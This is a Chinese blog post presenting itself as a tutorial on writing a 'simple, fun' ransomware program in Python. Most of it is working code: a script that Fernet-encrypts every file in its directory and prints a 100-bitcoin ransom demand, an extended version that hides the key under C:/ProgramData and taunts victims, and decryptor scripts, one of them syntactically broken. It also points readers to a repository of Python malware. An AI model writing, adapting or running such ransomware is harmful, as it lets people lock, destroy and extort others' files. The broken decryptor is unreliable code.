如何使用Python编写一个简单好玩的勒索程序?

相关阅读

图文讲解

原理分析

其实我们要写的脚本本质上就是一个加密程序,将文件内容通过Fernet算法进行加密,然后生成key,后面我们可以通过key在进行解密,这个过程是不是像极了勒索的场面……但是,我们要注意的是加密的过程,要做一下判断,不要把python加密脚本、解密脚本、key也加密了,后面有详细的核心代码供大家参考

图片[1]-如何使用Python编写一个简单好玩的勒索程序?-渗透云记 - 专注于网络安全与技术分享

核心代码

勒索核心代码voldmort.py

import os
from cryptography.fernet import Fernet

#Let's find some files

files = []
for file in os.listdir():
    if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
        continue
    if os.path.isfile(file):
        files.append(file)
    
key = Fernet.generate_key()
print(key)

with open ("thekey.key","wb") as thekey:
    thekey.write(key)
  
for file in files:
    with open (file,"rb") as thefile:
        contents = thefile.read()
    contents_encrypted = Fernet(key).encrypt(contents)
    with open (file,"wb") as thefile:
        thefile.write(contents_encrypted)
print("您的文件已经被加密,请给沐寒支付100比特币解锁,否则文件将在24小时之内被删除")

勒索解密代码decrypt.py

import os
from cryptography.fernet import Fernet

#Let's find some files

files = []
for files in os.listdir():
  if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
    continue
  if os.path.isfile(file):
    files.append(file)
    
with open ("thekey.key","rb") as key:
  secretkey = key.read()
  
for file in files:
  with open (file,"rb") as thefile:
    contents = thefile.read()
  contents_decrypted = Fernet(secretkey).decrypt(contents)
  with open (file,"wb") as thefile:
    the file.write(contents_decrypted)

自定义密钥解锁decrypt.py

import os
from cryptography.fernet import Fernet

#Let's find some files

files = []
for file in os.listdir():
    if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
        continue
    if os.path.isfile(file):
        files.append(file)


with open ("thekey.key","rb") as key:
    secretkey = key.read()

secretphrase = "anquanclub"
user_phrase = input("请输入指定密钥解锁加密文件:\n")

if user_phrase == secretphrase:
    for file in files:
        with open (file,"rb") as thefile:
            contents = thefile.read()
        contents_decrypted = Fernet(secretkey).decrypt(contents)
        with open (file,"wb") as thefile:
            thefile.write(contents_decrypted)
    print("恭喜您已经成功解锁文件")

优化之后的main函数:

import os
import sys
from time import sleep
from cryptography.fernet import Fernet

#Let's find some files
def love():
    print("IIIIIIIIII     LLLLLLLLLLL                                                                           YYYYYYY       YYYYYYY                                ")
    print("I::::::::I     L:::::::::L                                                                           Y:::::Y       Y:::::Y                                ")
    print("IIIIIIIIII     LLLLLLLLLLL                                                                           YYYYYYY       YYYYYYY                                ")
    print("I::::::::I     L:::::::::L                                                                           Y:::::Y       Y:::::Y                                ")
    print("I::::::::I     L:::::::::L                                                                           Y:::::Y       Y:::::Y                                ")
    print("II::::::II     LL:::::::LL                                                                           Y::::::Y     Y::::::Y                                ")
    print("  I::::I         L:::::L                  ooooooooooo vvvvvvv           vvvvvvv eeeeeeeeeeee         YYY:::::Y   Y:::::YYYooooooooooo   uuuuuu    uuuuuu  ")
    print("  I::::I         L:::::L                oo:::::::::::oov:::::v         v:::::vee::::::::::::ee          Y:::::Y Y:::::Y oo:::::::::::oo u::::u    u::::u  ")
    print("  I::::I         L:::::L               o:::::::::::::::ov:::::v       v:::::ve::::::eeeee:::::ee         Y:::::Y:::::Y o:::::::::::::::ou::::u    u::::u  ")
    print("  I::::I         L:::::L               o:::::ooooo:::::o v:::::v     v:::::ve::::::e     e:::::e          Y:::::::::Y  o:::::ooooo:::::ou::::u    u::::u  ")
    print("  I::::I         L:::::L               o::::o     o::::o  v:::::v   v:::::v e:::::::eeeee::::::e           Y:::::::Y   o::::o     o::::ou::::u    u::::u  ")
    print("  I::::I         L:::::L               o::::o     o::::o   v:::::v v:::::v  e:::::::::::::::::e             Y:::::Y    o::::o     o::::ou::::u    u::::u  ")
    print("  I::::I         L:::::L               o::::o     o::::o    v:::::v:::::v   e::::::eeeeeeeeeee              Y:::::Y    o::::o     o::::ou::::u    u::::u  ")
    print("  I::::I         L:::::L         LLLLLLo::::o     o::::o     v:::::::::v    e:::::::e                       Y:::::Y    o::::o     o::::ou:::::uuuu:::::u  ")
    print("II::::::II     LL:::::::LLLLLLLLL:::::Lo:::::ooooo:::::o      v:::::::v     e::::::::e                      Y:::::Y    o:::::ooooo:::::ou:::::::::::::::uu")
    print("I::::::::I     L::::::::::::::::::::::Lo:::::::::::::::o       v:::::v       e::::::::eeeeeeee           YYYY:::::YYYY o:::::::::::::::o u:::::::::::::::u")
    print("I::::::::I     L::::::::::::::::::::::L oo:::::::::::oo         v:::v         ee:::::::::::::e           Y:::::::::::Y  oo:::::::::::oo   uu::::::::uu:::u")
    print("IIIIIIIIII     LLLLLLLLLLLLLLLLLLLLLLLL   ooooooooooo            vvv            eeeeeeeeeeeeee           YYYYYYYYYYYYY    ooooooooooo       uuuuuuuu  uuuu")

def chaofen():
    print("")
    print("")
    print("不好意思,当你看见这个文字的时间,你的桌面所以文件已经被加密,请输入密码解密吧")
    print("还想表白,想peach呢")
    print("好好学习去吧")
    print("您的文件已经被加密,请给沐寒支付100比特币解锁,否则文件将在24小时之内被删除")

love()

files = []
for file in os.listdir():
    if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.exe" or file == "decrypt.py" or file == "main.py":
        continue
    if os.path.isfile(file):
        files.append(file)
        
key = Fernet.generate_key()
    # print(key)

thekey_path = "C:/ProgramData/thekey.key"

if not os.path.exists(thekey_path):
    with open(thekey_path,"wb") as thekey:
        thekey.write(key)
else: 
    print("")
    print("")      
    print("加密一次还不够吗?多次加密,可真的就解不开了ψ(*`ー´)ψ")
    sleep(5)
    sys.exit(0)

for file in files:
    with open (file,"rb") as thefile:
        contents = thefile.read()
    contents_encrypted = Fernet(key).encrypt(contents)
    with open (file,"wb") as thefile:
        thefile.write(contents_encrypted)                                                                                                                   
chaofen()
sleep(5)

使用方法

上面的脚本,譬如我们使用第一个,运行下面的命令

python voldmort.py

你会发现同一目录下的全部文本文件都被加密了,正如视频中,查看某个文件内容

cat file.txt

运行脚本前后,文本内容发生了变化,后者被加密了,看不到原有的This is a file的内容了

图片[2]-如何使用Python编写一个简单好玩的勒索程序?-渗透云记 - 专注于网络安全与技术分享

有趣的恶意软件仓库

在Github上有个专门的仓库,里面都是Python编写的一些恶意软件,包括但不限于恶意广告dropper恶意文件感染勒索软件特洛伊木马蠕虫病毒

图片[3]-如何使用Python编写一个简单好玩的勒索程序?-渗透云记 - 专注于网络安全与技术分享
建议您在虚拟机中运行相关脚本,记得先安装依赖
pip install -r requirements.txt
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容